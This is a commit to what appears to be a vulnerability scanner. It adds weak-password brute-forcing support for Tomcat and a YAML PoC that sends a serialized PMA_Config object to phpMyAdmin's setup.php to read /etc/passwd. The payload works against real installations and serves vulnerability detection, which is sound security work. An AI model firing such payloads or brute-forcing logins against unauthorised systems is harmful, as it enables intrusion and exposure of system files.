修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml

WebScan/pocs/phpmyadmin-setup-deserialization.yml

@@ -0,0 +1,13 @@
+name: poc-yaml-phpmyadmin-setup-deserialization
+rules:
+  - method: POST
+    path: /scripts/setup.php
+    body: >-
+      action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
+    follow_redirects: false
+    expression: >-
+      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+  author: p0wd3r
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433